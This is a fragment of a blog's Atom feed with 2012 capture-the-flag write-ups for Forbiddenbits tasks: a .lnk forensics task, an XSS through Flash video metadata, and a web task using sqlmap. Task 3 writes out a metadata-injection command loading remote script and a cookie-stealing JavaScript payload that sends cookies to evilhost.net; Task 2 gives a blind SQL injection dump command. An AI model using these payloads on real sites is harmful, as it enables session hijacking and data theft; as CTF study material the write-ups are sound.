This is a very easy task, that can be solved in three steps:<br>
<ol>
	<li>Let's find a stolen file, make .xls search in given folders (especially in \Users\proneer\AppData\Roaming\Microsoft\Office\Recent), and you will have: [Top-Secret]_2011_Financial_deals.lnk</li>
	<li>Open .lnk-file in SweetScape 010 Editor, then apply a LNK-template, and you take a: <br>
At offset 34h  FileSize -> 2450h -> 9296 bytes<br>
At offset 24Ah LocalBasePath -> C:\INSIGHT\Accounting\Confidential\[Top-Secret]_2011_Financial_deals.xlsx<br>
Of course, you can use a really TRUE HACK way, and parse .lnk-file by hands (this <a href="http://ithreats.files.wordpress.com/2009/05/lnk_the_windows_shortcut_file_format.pdf">article</a> is good point to start). 
        </li>
        <li>Last step: prepare the flag.<br><br>
<pre class="brush: python">
import hashlib
print hashlib.md5('C:\INSIGHT\Accounting\Confidential\[Top-Secret]_2011_Financial_deals.xlsx|9296').hexdigest()
</pre>
<br>
Flag is <strong>d3403b2653dbc16bbe1cfce53a417ab1</strong> 
</li>
</ol>]]>
        
    </content>
</entry>

<entry>
    <title>Forbiddenbits - Task 3</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/02/forbiddenbits-ctf-writeup-task-3.html" />
    <id>tag:smokedchicken.org,2012://1.67</id>

    <published>2012-02-13T10:40:41Z</published>
    <updated>2012-02-28T03:32:14Z</updated>

    <summary>Task 3 Solution The truth lays behind the earth --&gt; hint to Flash-based .flv player. After player decompilation we can see a vulnerable part of code. There was exploitable XSS through .flv metadata (width and height fields): ns.onMetaData = function...</summary>
    <author>
        <name>Юрий Леонычев</name>
        
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<strong>Task 3 Solution</strong><br>
<br>
The truth lays behind the earth --> hint to Flash-based .flv player.
<br>
After player decompilation we can see a vulnerable part of code. There was exploitable XSS through .flv metadata (width and height fields):<br>
<pre class="brush: javascript">
ns.onMetaData = function (obj)
{
  metaWidth = obj.width;
  metaHeight = obj.height;
  duration = obj.duration;
  ...
  flv._visible = 1;
  if (jsCallback)
  {
    getURL(&quot;javascript:flvStart(\'&quot; + metaWidth + &quot;\',\'&quot; + metaHeight + &quot;\')&quot;, &quot;&quot;);
  } // end if
</pre>

Then we thought about newest vulnerability in Apache with default 400-error page (http://www.exploit-db.com/exploits/18442/), which allows to steal a HTTPOnly-protected cookies. So we made a malicious .flv-file with modified metadata.<br>
<br>
Here was a little problem: flvmeta editor could only add metatags to .flv, and in final .flv file we had a duplicated metainfo. To avoid this bug some strings in flvmeta were commented.<br>
Patch for flvmeta (info.c):<br>
<pre class="brush: c">
amf_associative_array_add(meta-&gt;on_metadata, &quot;lastkeyframetimestamp&quot;, amf_nu
...
/*
if (info-&gt;video_width &gt; 0)
amf_associative_array_add(meta-&gt;on_metadata, &quot;width&quot;, amf_number_new(inf
if (info-&gt;video_height &gt; 0)
amf_associative_array_add(meta-&gt;on_metadata, &quot;height&quot;, amf_number_new(in
*/

video_data_rate = ((info-&gt;real_video_data_size / 1024.0) * 8.0) / duration;
...
</pre>
<br>
Then we made a EVIL.flv file, which injects a JS-sploit into htmlpage, and finally this sploit stole ALL user cookies. Link to this magic file was sended through feedback form on site.<br> 
<br>
http://208.64.122.30/player.swf?flvToPlay=http://kyprizel.net/ctf/TN11.flv&autoStart=true&autoreplay=false&hiddenGui=false&jsCallback=true<br>
<br>
PROFIT!<br> 
<br>
./flvmeta -U --add=width="'+(e=document.createElement('script'),e.src='http://kyprizel.net/ctf/pureevilpart3.js',document.body.appendChild(e))+'" EVIL.flv<br>
<br>
<br>
JS pureevilpart3.js:<br>
<pre class="brush: javascript">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding=&quot;&quot;;
for (j=0;j&lt;=1000;++j) 
{
  padding+=&quot;A&quot;;
}
for (i=0;i &lt; 10; ++i) 
{
  document.cookie=&quot;z&quot;+i+&quot;=&quot;+padding+&quot;; expires=&quot;+expire.toGMTString()+&quot;; path=/;&quot;
}
function handler() 
{
  if (!gotCookie &amp;&amp; this.responseText.length &gt; 1) 
  {
    text = /(Cookie[^;]*)/i.exec(this.responseText);
    location.href='http://evilhost.net/?c='+escape(text);
    gotCookie=true;
  }
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open(&quot;GET&quot;, &quot;/httponly.php&quot;);
xhr.send();
</pre>]]>
        
    </content>
</entry>

<entry>
    <title>Forbiddenbits - Task 2</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/02/forbiddenbits-ctf-writeup-task-2.html" />
    <id>tag:smokedchicken.org,2012://1.66</id>

    <published>2012-02-13T09:55:02Z</published>
    <updated>2012-02-28T03:32:23Z</updated>

    <summary>Task 2 Solution First hint was on Support contact page, we can see here a message with login &quot;support01&quot;. But where was password? Well, we check all pages of site and finally there was vulnerability in: http://208.64.122.30/web002/?page=spaceships&amp;more=. Spaceships page showed...</summary>
    <author>
        <name>Юрий Леонычев</name>
        
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<strong>Task 2 Solution</strong>

First hint was on Support contact page, we can see here a message with login "support01". But where was password? Well, we check all pages of site and finally there was vulnerability in:

http://208.64.122.30/web002/?page=spaceships&more=.

Spaceships page showed a list of files, the interesting one was win-executable: 

http://208.64.122.30/web002/hlds.exe

Some reverse engineering of this file gave us hash generation algorithm: 

<pre class="brush: python">
import hashlib
name = 'support01'
s = ''
for x in name:
  s += '%d' % ord(x)
print hashlib.md5(s).hexdigest()
</pre>

First flag we can see in userspace of our registered users.

Second vulnerability (blind SQLi) was in User-agent header in support userspace.

So, we used sqlmap tool with such commandline options:
./sqlmap.py -u "http://208.64.122.30/web002/?page=userspace" -p user-agent --cookie="PHPSESSID=li8hk6f8g29e4lickdhh2jhjs5" --technique=T --risk=5 --level=5 --dbms=mysql --tables --time-sec=2 -D chall --dump

Database: chall
Table: flag0x55558879 <-- second flag here


+--------------------------------------------------------+----+

| elkfjhOIEIUEIIUIUIIUOOIIU77 <--third flag here                | 14 |

+--------------------------------------------------------+----+
]]>
        
    </content>
</entry>

</feed>

